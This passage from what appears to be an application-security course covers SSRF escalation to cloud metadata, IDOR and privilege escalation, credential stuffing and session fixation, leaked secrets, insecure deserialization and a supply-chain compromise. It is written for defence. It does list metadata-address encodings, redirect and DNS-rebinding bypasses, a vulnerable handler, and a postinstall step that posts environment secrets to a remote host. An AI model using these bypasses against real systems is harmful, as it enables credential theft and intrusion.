SSRF invalidates that presumption exactly. A fetch primitive on the instance means the attacker is the instance for this purpose, and the returned credentials are ordinary, valid cloud credentials usable from anywhere until they expire.

Five-hop escalation from an attacker-supplied URL through a server-side fetch to the cloud metadata endpoint, temporary credentials, and cloud API access, each hop labeled with the trust assumption it violatesOne convenience feature, five hops, cloud credentials1 · Attackersupplies source_urlas an ordinary user2 · Workerrequests.get(url)inside the VPC3 · Metadata service169.254.169.254link-local, no auth4 · Temporary credskey + secret + tokenreturned as JSON5 · Cloud APIS3 objects, ParameterStore, from anywhereHopThe trust assumption it violated1 → 2"the URL our users supply points at a wine label" — the feature's premise, never enforced2 → 3"the internal network is implicitly trusted" — true of the host, not of who steers it3 → 4"only the instance itself can reach metadata" — position mistaken for identity4 → 5"the role is fine, it's only used by our code" — a role's power is its policy, not its intended callerBreak any one hop and the chain stops. IMDSv2 breaks 2→3; a least-privilege role shrinks 4→5 to almost nothing.
Figure 4.1 — SSRF escalation, hop by hop. An ordinary user supplies a URL; the worker fetches it from inside the VPC; the destination is the link-local metadata service, which authorizes by position; the response is a set of valid temporary credentials; those credentials work against the cloud API from anywhere until expiry. Each row names the assumption that hop violated — and because the hops are sequential, breaking any single one stops the chain, which is the defense-in-depth argument in miniature.
Cross-reference — Guide Nº 16

Guide Nº 16 (where code runs) covers instance roles, credential vending, and how the metadata service fits the cloud identity model. Two controls from there carry the security weight here and are worth naming rather than re-deriving: IMDSv2 requires a session token obtained via a PUT request carrying an X-aws-ec2-metadata-token-ttl-seconds header, which a simple SSRF GET primitive cannot produce; a separately configured metadata hop limit of 1 further blocks reaching it from containers; and a least-privilege instance role means that even a successful theft yields credentials that can do very little. Enabling IMDSv2 and dropping the worker's role to "write to one S3 prefix" would each, independently, have reduced this finding from critical to low.

Why blocklists fail here too, and what to do instead

The reflex fix is to reject 169.254.169.254 and the private ranges. It fails, and the reasons are worth knowing precisely, because this is the second time in the course the same argument has appeared and the third time it will.

Alternate encodings of the same address. 169.254.169.254 is also 0251.0376.0251.0376 in octal, 2852039166 as a decimal integer, and reachable through IPv6-mapped forms. A string comparison against the dotted-quad form catches one spelling of an address with many. Redirects. The attacker supplies https://labels.example/pic.jpg, which passes every check, and the server they control responds 302 Location: http://169.254.169.254/…. Unless you validate every hop, the redirect-following default in your HTTP library performs the request for you. DNS names that resolve wherever the attacker wants. metadata.labels.example can simply have an A record pointing at the link-local address. DNS rebinding, the sharpest version: the name resolves to a benign public address when your validator looks it up, and to the internal address a few hundred milliseconds later when the HTTP client resolves it again. There is a time-of-check-to-time-of-use gap between validation and fetch, and a low TTL is all it takes to live in it.

Comparison of a blocklist validation path being bypassed four ways against an allowlist path that resolves the host and pins the connection to the verified addressBlocklist: "reject known-bad destinations"Allowlist: "permit known-good destinations"is the string 169.254.169.254 or 10.x present?is the host one of 6 approved image CDNs?Four bypasses, none exotic· octal / decimal / IPv6 spellings of the same IP· 302 redirect from an allowed host· attacker's DNS A record → 169.254.169.254· DNS rebinding: safe at check, internal at fetchthe check and the fetch resolve the name twiceFour properties that close them· host must match the allowlist exactly· redirects disabled; each hop re-validated· resolve once, reject non-public addresses· connect to that pinned IP — no second lookupno gap between check and useAnd behind both, independent of the app: IMDSv2 + a least-privilege instance roleso that an app-layer bypass still does not yield usable credentials
Figure 4.2 — Allowlist versus blocklist for outbound fetch. The blocklist must anticipate every spelling and every indirection; four ordinary bypasses defeat it, and DNS rebinding exploits the gap between the moment you validate a hostname and the moment your HTTP client resolves it again. The allowlist path names permitted hosts, refuses redirects, resolves once, and connects to the pinned address — removing the time-of-check-to-time-of-use gap entirely. The cloud-side controls sit behind both because app-layer logic will eventually be bypassed.

The durable design has four layers, and it is worth stating what each one covers when the others fail. An allowlist of destination hosts — six image CDNs, say — reduces the problem from "anywhere on the internet or in our VPC" to a set you chose. Resolve-then-pin: resolve the hostname once, verify the resulting IP is a public unicast address, and connect to that address, closing the rebinding gap. Disable redirect following, or re-run the full validation on every hop. And the cloud-side controls — IMDSv2 plus a minimal instance role — which are the only layers that still hold when someone finds a bypass in the first three, because they do not depend on your application's logic being correct.

Where the feature genuinely needs to reach arbitrary user-supplied hosts, the architectural answer is to move the fetch out of the trusted network: an egress proxy in a subnet with no route to internal ranges and no instance role. Then a successful SSRF buys the attacker the ability to fetch public web pages, which they could already do.

Module 05 The most common real bug

Everything so far has involved a payload — a crafted string, a hostile URL, an injected script. This finding involves none. The tester changes one digit in a URL, presses return, and reads another collector's private cellar. There is no exploit code to write, no encoding trick, no tooling. Which is exactly why broken access control is consistently the most prevalent vulnerability class in real applications: it requires nothing of the attacker and everything of the developer, on every single handler, forever.

The distinction underneath it is one you already hold from GRC work, and it survives translation cleanly. Authentication establishes who the principal is. Authorization establishes what that principal may do to a specific object. Systems get the first right because it is centralized, visible, and has a login page attached to it. They get the second wrong because it is diffuse — a decision that must be made correctly in every handler, on every object, by every engineer, including the one shipping a feature at 6pm on a Thursday.

Finding five: IDOR in the private cellar

The attacker's input. The tester, logged in as an ordinary user who owns cellar 1040, requests GET /api/cellars/1041.

The mechanism. The handler is four lines and looks entirely reasonable:

@app.get("/api/cellars/<int:cellar_id>")
@login_required
def get_cellar(cellar_id):
    cellar = Cellar.query.get_or_404(cellar_id)
    return jsonify(cellar.to_dict(include_bottles=True))

The @login_required decorator is real and it works: an unauthenticated request gets a 401. What it establishes is that somebody is asking. Nothing anywhere in this handler asks whether this somebody may see this cellar. The record is loaded by primary key, serialized, and returned.

The impact. Sequential integer IDs mean the tester can walk the entire table — 1042, 1043, and onward — retrieving every private cellar in the product: bottle inventories, purchase prices, storage locations, and the tasting notes users believed were shared with three friends. This is a complete confidentiality failure of the product's core data, achieved by incrementing a number. This class is called IDOR, an insecure direct object reference: the identifier the client supplies is used directly to fetch an object, with no check that the reference was one the client was entitled to make.

The load-bearing idea

Loading an object successfully is evidence that the object exists. It is not evidence that the caller may have it. Every handler that turns a client-supplied identifier into a record must, between the load and the response, answer a question about the authenticated principal — and if that question is not in the code, the answer defaulted to yes.

This finding pins to crossing 1 on the master map, the browser-to-API line — the same crossing as the login and the search. The path parameter is client-supplied input exactly as the search string was; the difference is that this input is not interpreted as code by anything, so none of module 2's defenses apply. It is a perfectly well-formed request asking for something the caller should not get.

Object-level and function-level, two different misses

Access-control failures come in two shapes, and confusing them sends remediation to the wrong place.

Object-level failures are IDOR: the caller is allowed to use the endpoint, but not on that particular object. GET /api/cellars/:id is a legitimate thing for a collector to call — just not with someone else's ID. The missing check is a predicate about the relationship between principal and object: cellar.owner_id == current_user.id or current_user in cellar.shared_with.

Function-level failures are different: the caller should not be able to invoke the endpoint at all. The wine cellar has POST /api/admin/users/:id/impersonate, built for support staff. It is not linked in the UI for ordinary users, which the team treated as the control. The tester found it in the JavaScript bundle — where every route the SPA knows about is written down in plain text — called it, and became any user they liked. The missing check is a predicate about the principal alone: current_user.role == "support".

The anti-pattern: the hidden button as a security control

Symptom: a capability restricted by not rendering its UI, by an undocumented route, or by a client-side if (user.isAdmin). Why it survives: it works perfectly in every manual test, because testers use the UI. Corrective: the server must reject the call regardless of what the client displays. Client-side role checks are a UX affordance — they exist so users are not shown buttons that will fail — and describing them as security in a design doc is how they get counted twice.

Cross-reference — Guide Nº 05

Guide Nº 05 (authorization for agents) owns the models: role-based access control, attribute- and relationship-based models, policy engines, and how to express rules so they can be reviewed and tested independently of handlers. Use it to choose the model. What this module contributes is the attacker's view — where a missing check is found, and what it costs — and one structural claim from Nº 05 worth repeating: an authorization decision that can be forgotten will be forgotten, so the enforcement point must be one that a new handler cannot silently bypass.

Horizontal and vertical escalation

The two axes of escalation are worth keeping straight because they predict where the missing check belongs and how bad the finding is.

Horizontal escalation is reaching another principal's resources at your own privilege level. The cellar 1041 finding is horizontal: the tester remained an ordinary user and got another ordinary user's data. Horizontal flaws are usually object-level, and their severity scales with how many objects exist — which, with sequential IDs, is all of them.

Vertical escalation is acquiring a privilege level you were not granted. The impersonation endpoint is vertical: an ordinary user obtained support-staff capability. Vertical flaws are usually function-level, and they are typically more severe per instance, because the acquired privilege often includes the ability to perform horizontal access at will.

Quadrant chart with privilege level on one axis and data owner on the other, locating normal access, horizontal escalation, vertical escalation, and full compromise with a wine-cellar example in each cellTwo axes, four outcomesprivilege level →whose data →your ownanother user'selevatedas grantedVertical escalationyou gain support-staff powersover your own accountPOST /api/admin/users/8814/impersonatemissing: function-level role checkFull compromiseelevated privilege appliedto everyone's dataexport every cellar, reset any passwordusually vertical, then horizontal at willNormal accessyour privilege, your objectsGET /api/cellars/1040the only quadrant the design intendedHorizontal escalationsame privilege, someoneelse's objectsGET /api/cellars/1041 — finding fivemissing: object-level ownership check
Figure 5.2 — Horizontal versus vertical, and what sits in each cell. The axes are privilege level and data ownership. Bottom-left is the only quadrant the design intended. Moving right is horizontal escalation and points at a missing object-level check; moving up is vertical escalation and points at a missing function-level check; the top-right cell is where a vertical flaw is usually cashed in, because elevated privilege makes horizontal access routine.

Note the direction of travel in real incidents: an attacker rarely needs both flaws. A vertical escalation delivers the top-right cell by itself, because support-staff capability includes reading anyone's data. A horizontal flaw with sequential IDs delivers most of the same data without any privilege change at all — which is why "they only had a normal user account" is not the mitigating fact it sounds like in an incident report.

Why authentication without authorization is a screen door

A screen door is a real door. It has a frame, a latch, and it keeps insects out. It also does not keep anyone out, and the reason the metaphor is apt is that a screen door looks like security from a distance and is defended in exactly the terms a real door would be: "we have a door on that."

Authentication is the frame. It is centralized, it is visible in the architecture diagram, it appears in the compliance questionnaire as a control, and the team can point to it. Authorization is a decision that must be made independently in every handler, and it has no natural home — which means it has no natural place to be noticed missing. This asymmetry is why the class dominates real breach data despite being conceptually trivial. Nobody misunderstands the concept. They omit the line.

Swimlane sequence showing user A requesting user B's cellar, passing through session validation and object load, with the missing authorization check marked between load and response, and a corrected lane belowAs shipped — user A (owns cellar 1040) requests cellar 1041User ASession middlewareHandlerPostgresGET /api/cellars/1041session valid → user ASELECT … id = 1041row (owner_id = 1187)the authorization check belongs HERE — absent200 OK — 340 bottles, prices, private notesAs fixed — the predicate moves into the query, at the data-access boundarySELECT … id = 1041AND owner_id = 1042zero rows404 — indistinguishable from a cellar that never existed
Figure 5.1 — The walk, and the gap. Session validation succeeds and correctly identifies user A; the handler then loads cellar 1041 by primary key and serializes it. The dashed box marks the exact position where the ownership predicate should stand — between loading the object and returning it. The corrected lane moves the predicate into the query itself, so the unauthorized row is never loaded at all and the response is a 404 that leaks nothing about whether cellar 1041 exists.

The corrected version also fixes a subtler leak. Returning 403 Forbidden for a cellar you do not own and 404 for one that does not exist tells an attacker which IDs are real — a small oracle, but the same class of information disclosure as the user-enumeration problem in module 6. For resources whose existence is itself private, return 404 in both cases.

Where the check should stand

Knowing the check is missing is easy. Deciding where it goes so that it stops being missing is the engineering.

The weakest placement is a conditional inside each handler. It is correct when written and fails by omission: the next endpoint, added under deadline by someone who copied a handler that happened to be one of the ones without a check, ships the bug again. Any scheme whose correctness depends on every future engineer remembering something will be wrong within two quarters — not because engineers are careless, but because the design made correctness a memory task.

Better placements share one property: the unsafe version requires an explicit act, not an omission. Three that work in practice. Scope at the data-access layer: the repository exposes cellars_for(current_user) and there is no method that fetches a cellar without a principal — the ownership predicate is in the query, so an unauthorized object cannot be loaded, and the fix is the one drawn in Figure 5.1. Deny by default at the routing layer: every route must declare a policy, and a route with no declaration fails closed at startup rather than serving unauthenticated traffic; the omission becomes a deployment failure instead of a vulnerability. Row-level security in the database, where the policy is enforced by Postgres against the session's principal regardless of what any application code does — the strongest option and the one with the most operational cost.

The rule, written out

An authorization rule has three parts, and writing them separately makes it reviewable and testable: principal — the authenticated user from the session, never a user ID taken from the request body; object — cellar 1041, identified by the path parameter; predicatecellar.owner_id == principal.id OR principal.id IN cellar.shared_with OR principal.role == "support". Notice that the third clause is a vertical-privilege grant sitting inside an object-level rule, which is where support-access exceptions belong: explicit, in the predicate, and therefore visible to a reviewer and testable — rather than implemented as a separate endpoint that forgot to check anything.

The anti-pattern: UUIDs instead of enforcement

Symptom: "we replaced sequential IDs with UUIDs, so IDOR is fixed." Why it survives: it genuinely stops trivial enumeration, so the crude version of the attack disappears and the fix appears to work. Corrective: unguessable identifiers reduce discoverability, not authority — anyone who obtains an ID still gets the object, and IDs leak constantly through shared links, referrer headers, screenshots in support tickets, exports, and logs. Ship UUIDs if you like, as a defense-in-depth layer; do not let them close the finding. This is security by obscurity wearing a modern hat.

Module 06 Attacking the login

The mental image of a login attack — someone at a terminal trying passwords one after another — is almost the only thing that does not happen. Guessing is slow, noisy, and defeated by a lockout written in an afternoon. What actually happens is that an attacker starts with credentials that are already correct, collected from a breach at some other company, and the question is not whether they can guess your users' passwords but whether your users reused them.

Guide Nº 15 covers how authentication should be built: password storage, MFA, session management, the protocols. This module is the other side of the same page. For each attack, we ask which specific control blunts it, at which point in the sequence, and what happens when that control is the only one you have. The result is a mapping you can hold up against your own login and find the gap.

Credential stuffing at scale

The economics are the whole explanation. Billions of email-and-password pairs from historical breaches circulate as ordinary data files. Password reuse across sites runs somewhere around half of all users by most published surveys, and the attacker does not need to know which half. They take a list of a million pairs, submit each one to your login from a rotating pool of residential IP addresses, and harvest the successes. A 0.5% success rate is a poor day and still yields five thousand compromised accounts.

Notice what this attack does not require. It does not require a flaw in your application — the wine cellar's login can be perfectly implemented and still fall to it. It does not require weak passwords; the credentials are strong and valid, they are merely also in use elsewhere. It does not require defeating your hashing, because the attacker never sees your hashes. Your login is behaving exactly as designed, for someone presenting correct credentials.

The load-bearing idea

Credential stuffing relocates the vulnerability outside your system. The breach that supplies the credentials was somebody else's, the reuse decision was the user's, and the only thing under your control is what you require in addition to a correct password. That is why this is the attack that MFA exists for, and why password policy is almost irrelevant to it.

Two attacker refinements matter for defense design. Distribution: attempts come from thousands of IP addresses, a handful each, so per-IP rate limiting sees nothing anomalous. Low and slow: an attacker with a million pairs and no deadline can spread them over weeks. Both are specifically designed to defeat volumetric detection, which means a defense premised on "we would notice the spike" is premised on the attacker's cooperation.

What stops stuffing, and where each control acts

Four controls are usually proposed, and they are not interchangeable — each intercepts at a different point in the attacker's pipeline, which determines what happens when the others are bypassed.

Pipeline from breach corpus through automated login attempts to account takeover, with four defenses annotated at the step each intercepts and MFA shown as the only one after correct-password submissionThe stuffing pipeline, and where each control cuts itBreach corpus1.2M pairsAutomation4,000 residential IPsPOST /api/sessioncorrect password for 0.5%Second factorrequired?take-overControlCuts atDefeated byPer-IP rate limitautomation stepdistribution — 6 attempts per IP looks normalPer-account throttleautomation stepone attempt per account is all stuffing needsBot detectionautomation stepheadless browsers, solver services — raises cost onlyBreached-password checkregistration / resetonly covers pairs already in public corporaMFAAFTER correct passwordreal-time phishing/relay — but not by stuffing itselfEvery control but MFA acts before the password is submitted. Only MFA still stands when the password is correct.
Figure 6.1 — The stuffing pipeline and its interceptions. Rate limits, throttles, and bot detection all act at the automation step, where a distributed low-and-slow attacker looks like ordinary traffic; breached-password checks act at registration and reset, covering only credentials already public. MFA is the only control positioned after a correct password is submitted, which is why it is the one that survives the attack this pipeline is built for — and why phishing-resistant factors matter, since the residual risk is real-time relay rather than stuffing.

Read the table as a defense-in-depth argument rather than a ranking. Rate limiting is still worth having: it forces distribution, which costs money and creates the infrastructure footprint that detection can find. Breached-password checks at registration and password reset genuinely prevent a class of reuse before it exists. But if you have one control and it is not MFA, an attacker holding a valid password walks in — which is the sentence to bring to a prioritization meeting.

Cross-reference — Guide Nº 15

Guide Nº 15 (authentication and identity) covers the implementation: password hashing with a memory-hard function, TOTP versus WebAuthn, enrollment and recovery flows, and why account recovery is usually the weakest path into an account with MFA enabled. That last point deserves emphasis here, because attackers know it: a login hardened with MFA and a recovery flow that resets on a knowledge question has an MFA-shaped decoration, not an MFA-shaped control.

Session fixation

Session fixation attacks the moment of privilege change rather than the credential. The attacker's goal is to have the victim authenticate into a session whose identifier the attacker already knows.

The sequence has three steps. First, the attacker obtains a valid session identifier — usually by simply visiting the site, since applications commonly issue a session to anonymous visitors to hold a shopping cart or a locale preference. Second, they cause the victim's browser to adopt that identifier: through a link like https://cellar.example/?sid=abc123 if the application accepts session IDs from the URL, through a subdomain that can set a cookie on the parent domain, or through an XSS on any page in the origin. Third, the victim logs in normally, with their own correct password and their own second factor. If the application authenticates the existing session rather than issuing a new one, the identifier the attacker planted is now an authenticated session, and they are logged in as the victim.

Swimlane sequence of session fixation without rotation, and a parallel corrected lane where the session identifier is regenerated at loginWithout rotation — the planted identifier survives authenticationAttackerVictim browsercellar.examplevisits site, receives anonymous session sid=a41f9cplants sid=a41f9c in victim's browserlogs in — correct password, correct MFA codeserver marks sid=a41f9c authenticated — no new idattacker reuses sid=a41f9c — now inside the victim's accountWith rotation — the chain breaks at the privilege changelogs in with planted sid=a41f9con successful auth: destroy a41f9c,issue new sid=7be03d bound to the userattacker reuses a41f9c → unknown session → anonymous
Figure 6.2 — Session fixation, and rotation as the break. The attacker plants a session identifier they already hold; the victim then authenticates that very session with entirely correct credentials, including a second factor. The fix is a single behavior at the privilege change: destroy the pre-authentication session and issue a fresh identifier bound to the now-known user, so the planted value refers to nothing.

The fix is one sentence: regenerate the session identifier on every privilege change — at login, and again at any elevation such as entering an administrative mode or re-authenticating for a sensitive action. Most frameworks provide this as a single call, which is why the bug is nearly always an omission rather than a design decision.

Two related hygiene items. Never accept session identifiers from the URL, which removes the easiest planting vector and also stops sessions leaking through referrer headers, browser history, and the screenshots people paste into support tickets. And note that MFA does not help here at all: the victim completes the second factor themselves. That is worth saying explicitly, because "we have MFA" is offered as an answer to attacks it has no relationship with.

Session theft and user enumeration, in brief

Two smaller attacks complete the login surface, and both connect to material already covered.

Session hijacking is the theft of an already-authenticated token, and it is where module 3 and this module meet. An XSS on any page in your origin yields the session cookie unless it is HttpOnly, and yields the ability to act as the user regardless. Tokens stored in localStorage because they were "easier to attach to fetch calls" are readable by any script in the origin by design — a tradeoff worth making consciously rather than by default. The defenses are the cookie attributes from Guide Nº 15, short session lifetimes, and re-authentication before genuinely sensitive actions such as changing the account email, which is the operation an attacker performs first because it locks the real owner out.

User enumeration is the leak of which accounts exist. The login says "no account with that email" for unknown addresses and "incorrect password" for known ones; the password-reset form says "we sent you an email" for one and "that address isn't registered" for the other; the registration form rejects a duplicate. Even when all three are worded identically, the timing usually differs — verifying a password hash costs real milliseconds that a nonexistent account never spends, unless you deliberately perform a dummy verification.

When enumeration matters, and when it doesn't

The severity depends entirely on whether account existence is sensitive. For a wine-cellar app it is mild: it improves stuffing efficiency by letting an attacker discard pairs whose email is not registered, which is a cost increase for them rather than a breach. For a service where membership is itself the private fact — a medical platform, a legal-services portal, a support forum for a stigmatized condition — enumeration is the disclosure, and generic responses plus constant-time behavior are mandatory. Deciding this correctly is a data-classification question before it is an engineering one, which is the kind of judgment a GRC background makes fast.

The defender's playbook against the attacker's

The synthesis is a mapping. For each attack, the control that actually intercepts it, and the failure mode of relying on that control alone.

AttackWhat it needsControl that interceptsFailure mode of relying on it alone
Credential stuffingValid pairs from another breachMFA, phishing-resistant where possibleAccount-recovery flow becomes the soft path in; enrollment gaps leave users uncovered
Password sprayingOne common password, many accountsPer-account throttling and breached-password checksDistribution across accounts stays under any per-account limit
Session fixationVictim to authenticate a known session IDSession regeneration at privilege changeNone significant — but it must fire on every elevation, not just login
Session hijackingAn XSS, a leaked token, or an insecure channelHttpOnly and Secure cookies, short lifetimes, re-auth for sensitive actionsHttpOnly stops theft, not use — the live tab is still compromised
User enumerationDifferential responses or timingGeneric responses plus constant-time behaviorClosing login but leaving reset and registration inconsistent

Two conclusions follow. First, no control appears twice, so a login with one strong defense has one covered attack — the argument for depth that module 8 generalizes. Second, the most common real failure is not a missing control but an uncovered adjacent path: MFA on login and none on recovery; regeneration at login and none at privilege elevation; generic errors on the login form and specific ones on password reset. Attackers test the adjacent path first, because it is where the effort has not been spent.

The anti-pattern: the control that covers one door

Symptom: a control described by name — "we have MFA" — rather than by coverage: which flows, which user segments, which fallbacks. Why it survives: the name is what appears in the security questionnaire and the board deck, and the name is true. Corrective: write every control as a coverage statement with its exceptions enumerated. "MFA is required on login and on password reset, for all accounts, with recovery codes issued at enrollment and no knowledge-question fallback" is a claim someone can falsify by testing. "We have MFA" is not.

Module 07 The boundaries you forget

Every finding so far involved an attacker sending something to you. This module covers the two directions nobody watches: things leaving that should not, and things arriving that nobody thought of as arriving.

Outbound, the wine cellar leaks secrets through source control, logs, error pages, and a JavaScript bundle that turns out to contain an API key. Inbound, it accepts serialized objects and — the largest and least-examined crossing on the entire map — installs 412 packages whose code runs with full application privilege, 374 of which nobody chose. Both directions are boundary crossings, and both are invisible for the same reason: they do not look like requests, so they are never on anyone's list of inputs.

Secrets left lying around

A secret's security property is that it is known only where it must be. Every additional location is an independent chance of exposure, and secrets have a strong tendency to reproduce.

The wine cellar's audit found the Stripe restricted key in five places. In config/settings.py, committed in 2023 and later replaced by an environment variable — but git keeps history, so the key is retrievable by anyone who ever cloned the repository, including two contractors whose access was revoked. In CI build logs, because a debugging step printed the environment during a deploy incident and the log retention is eighteen months. In an exception payload sent to the error-tracking service, since the HTTP client's request object serialized its own headers into the traceback context. In the React bundle, where an engineer needed a key for a client-side call and used the one that was already in the config file. And in a Slack thread from the migration, which is a system with different retention rules and a different access model than anything in the architecture diagram.

The load-bearing idea

A secret in an environment variable is not "secured" — it is stored in a place with slightly better default hygiene. What makes a secret defensible is that it is short-lived, narrowly scoped, retrievable at runtime from a system that logs access, and rotatable without a deploy. Location is the least interesting of those properties, which is why "it's in an env var" answers the wrong question.

A secret at the center with five outbound leak paths, each labeled with the control that closes itOne key, five ways outStripe keyrk_live_…git historypre-commit scan + rotateCI build logsmasked vars + short retentionerror tracker payloadscrub headers before sendclient JS bundleserver-only; publishable keySlack migration threadnever paste; share by referenceBehind all five: fetch at runtime from a secret manager, short TTL, narrow scopeso that a copy that escapes is already expiring and can do little
Figure 7.1 — Where secrets leak. One credential, five independent escape paths, each with its own closing control — and none of the five is the place the secret was supposed to live. The layer that matters most sits behind all of them: a runtime-fetched, short-lived, narrowly scoped credential means any copy that escapes is expiring and limited, which is the only property that holds when one of the five controls is missing.
Cross-reference — Guide Nº 20

Guide Nº 20 (the analytics stack) covers data handling, log pipelines, and where sensitive values accumulate downstream — the systems that make a leaked secret durable and widely readable. Two consequences from there are worth naming: log sinks typically have broader access than production databases, and analytics pipelines copy data into systems with different retention and different access review. A secret or a personal identifier that reaches a log has effectively been distributed to everyone with dashboard access.

One operational note that gets skipped: a secret that has ever been in git history is compromised and must be rotated, not deleted. Removing the file in a later commit changes nothing about the earlier one, and history rewriting does not reach clones, forks, or the caches of anyone's CI. Rotation is the only action that changes the security state; everything else is tidying.

Sensitive-data exposure and verbose errors

Data leaves through three ordinary mechanisms, none of which is a vulnerability in the usual sense.

Over-returning. The cellar API's /api/users/:id serializes the whole ORM model, so a response rendering a collector's public display name also carries their email, hashed password, password-reset token, and internal admin flags. The UI displays two of those fields, which is why nobody noticed — the browser's network tab is not part of most people's review, and the fix is an explicit output schema listing what may be sent rather than a model dump minus a blocklist of what may not.

Personal data in logs. A request logger that records full request bodies captures every note, address, and payment detail into a system with far broader access than the database. This is where a security concern and a regulatory one converge: log retention that exceeds the retention you promised in your privacy policy is a compliance failure whether or not anyone attacks it, and a deletion request you honor in Postgres and not in your log sink is not honored.

Verbose errors. A production stack trace is reconnaissance, and it is worth being specific about what each line gives away rather than treating it as generally untidy. Framework and version identify which published vulnerabilities to try. File paths reveal directory structure and the deployment layout. A database error containing the failed query discloses table and column names, which is precisely what an injection attempt needs to escalate from "something happened" to a targeted extraction — blind injection is slow, and a helpful error message makes it fast. Library versions in the trace enumerate the dependency surface. The correct behavior is a generic message with a correlation ID to the client and the full detail in a log the attacker cannot read.

The anti-pattern: security by obscurity

Symptom: a control whose effectiveness depends on the attacker not knowing something — an unlinked admin route, a renamed parameter, a header removed to hide the framework, a UUID standing in for an authorization check. Why it survives: obscurity does raise cost slightly, so it produces observable improvement in scan results. Corrective: keep obscurity as a layer and never as a control. The test is simple: if you published your architecture, which of your defenses would stop working? Those are not defenses. Note that this is not an argument for verbose errors — reducing an attacker's information is worth doing, it is just never the thing standing between them and your data.

Encryption that doesn't hold where the attacker reached

"It's encrypted" is a claim about a specific layer against a specific adversary, and it is routinely offered as though it were a claim about the data itself. Being precise here is what separates a defensible control statement from a comforting one.

Encrypted in transit means an observer on the network cannot read or modify the data. It protects against interception between endpoints. It says nothing about what either endpoint does, so a value delivered securely over TLS and then written to a log is plaintext in the log — TLS worked exactly as designed and the data is exposed.

Encrypted at rest, in the usual cloud sense, means the storage volume or object store is encrypted with a key the platform manages, and the application's identity can transparently read it. It protects against an adversary who obtains the physical disk, the decommissioned drive, or the raw snapshot. It does not protect against SQL injection, a stolen instance role, an over-broad API response, or a compromised application — because in every one of those cases the attacker reads through the application's own identity, and the decryption happens for them exactly as it does for you. Every finding in this course reached data through a layer where encryption at rest was already transparently undone.

Stating it honestly

Overclaimed: "Customer data is encrypted, so a breach would not expose it." Honest: "Customer data is encrypted in transit (TLS 1.3) and at rest (AES-256, platform-managed keys), which protects against network interception and physical media compromise. It does not protect against an attacker operating through the application's own identity — SQL injection, a stolen instance role, or broken access control all read decrypted data. Those are addressed by parameterized queries, IMDSv2 with least-privilege roles, and data-layer authorization scoping respectively." The second version is longer and it is the one that survives the follow-up question, which is always encrypted against whom?

Application-layer encryption — encrypting specific fields with a key the database never holds — is the control that does survive database compromise, and it costs you the ability to query those fields. That tradeoff is the real decision, and it should be made per-field: encrypting a stored payment token this way is usually worth it; encrypting an email address you need to look up by is usually not.

Cross-reference — Guide Nº 19

Key management, envelope encryption, and rotation mechanics belong to Guide Nº 19. The security question this module adds is the scoping one: for each encryption claim in your system, name the adversary it defeats and the layer at which it is transparently undone. A claim without those two facts is not yet a control.

Trusting the wrong bytes: insecure deserialization

Serialization converts an object in memory to bytes; deserialization does the reverse. The security problem is that some formats do considerably more than reconstruct data — they reconstruct types, and reconstructing a type can mean invoking code.

The mechanism at concept level: a rich serialization format encodes not just values but which classes to instantiate, and the deserializer, following those instructions, imports and constructs them. Many classes execute logic during construction or restoration. So an attacker who controls the serialized bytes controls which types get instantiated with which arguments, and the practical question becomes whether any reachable class in your application or its 412 dependencies does something dangerous on load. Given a large enough dependency graph, the answer is usually yes. Python's pickle, Java's native serialization, PHP's unserialize, and Ruby's Marshal all have this property, which is why every one of their manuals says not to use them on untrusted input.

Where does untrusted serialized data show up? A session cookie storing a pickled object, which is exactly what the wine cellar's nightly job did with its resume-state. A cache entry an attacker can influence. A message on a queue that an SSRF or a compromised worker could write to. A file upload processed by a library that deserializes. In every case, the boundary was crossed by bytes that describe a program, and the reason it goes unnoticed is that the code looks like data handling — state = pickle.loads(blob) reads as parsing.

The rule, and where it stops

Do not deserialize untrusted input into rich objects. Use data-only formats — JSON, or a schema-validated binary format — and construct your own objects from the parsed values after validating them, so that the set of types your code will build is fixed by your code rather than by the input. If you must accept a serialized blob you produced, sign it and verify the signature before parsing, which converts the question from "is this input safe" to "did we produce it" — the same channel-separation move as parameterization, one abstraction up. Note that JSON parsers are not automatically safe either: a library configured to instantiate types from a _type field has reintroduced exactly the property you were avoiding.

The dependency supply chain as attack surface

Crossing 8 on the master map is the one with the highest privilege and the least review. The wine cellar installs 412 packages; 38 were chosen by a person, and the other 374 arrived because something else needed them. That code runs in your process, reads your environment variables, holds your instance role, and — during installation — often executes arbitrary build scripts. No input in this course has more authority.

Three attack shapes. Known-vulnerable components: a dependency has a published CVE and you are two years behind. This is the most common and the least interesting, and it is mechanically detectable — which is why not detecting it mechanically is the finding. Typosquatting: a package named python3-dateutil impersonating the real python-dateutil, or reqeusts impersonating requests, published to catch a typo or an AI-generated import that named a plausible package that did not previously exist. Account or maintainer compromise: a legitimate package you already depend on ships a malicious version, which is the shape of the secondary running example and the hardest to defend, because nothing about the name or the source looks wrong.

The incident, narrated

On a Tuesday, the wine cellar's CI produced a failing build with a diff nobody requested: package-lock.json showed image-size moving from 1.0.2 to 1.0.3. Nobody had run an upgrade. The cause was a caret range on sharp-utils, a direct dependency, which permitted a new minor version that in turn widened its own range on image-size. The new version added a postinstall script that read process.env and posted it to a remote host — which, in CI, means every build secret in the environment.

Detection came from the lockfile, not from a scanner: the diff was visible because the lockfile was committed, and it was anomalous because a change appeared in a build where no dependency change was intended. That is the entire detection mechanism, and it is available to any team willing to commit a lockfile and read its diffs.

Dependency tree from the application through a direct dependency to a compromised transitive package, with the lockfile shown as the detection point and a blast-radius ring listing what the malicious code could reachThe package nobody chosecellar-web38 direct, 412 totalsharp-utils ^2.4.0chosen deliberatelyimage-size 1.0.3nobody chose thismaintainer accountcompromisedpostinstall: POST process.env → remoteruns at install time, before any testpackage-lock.json — the detection point1.0.2 → 1.0.3 in a build nobody upgradedBlast radius — what that code could reachCI environment: every build secretdeploy key, npm token, Stripe keyRuntime process (if it had shipped)instance role, DB connection, all sessionsDeveloper laptops on npm installSSH keys, cloud profiles, sourceWhat the lockfile does: freezes exact versions, makes the change visible in a diffWhat it does not do: judge whether a version is malicious, or protect a fresh install that resolves rangesIt is a detection and reproducibility control — not a preventive one
Figure 7.2 — Supply-chain blast radius. A caret range on a chosen dependency permits a minor upgrade that widens its own range on a transitive package nobody selected; the compromised version runs a postinstall script before any test executes. The lockfile is the detection point — it makes the version change visible as an unrequested diff — and the blast-radius rows show what the code could reach in CI, at runtime, and on developer machines. The lockfile freezes and reveals; it does not judge.
Cross-reference — Guide Nº 19

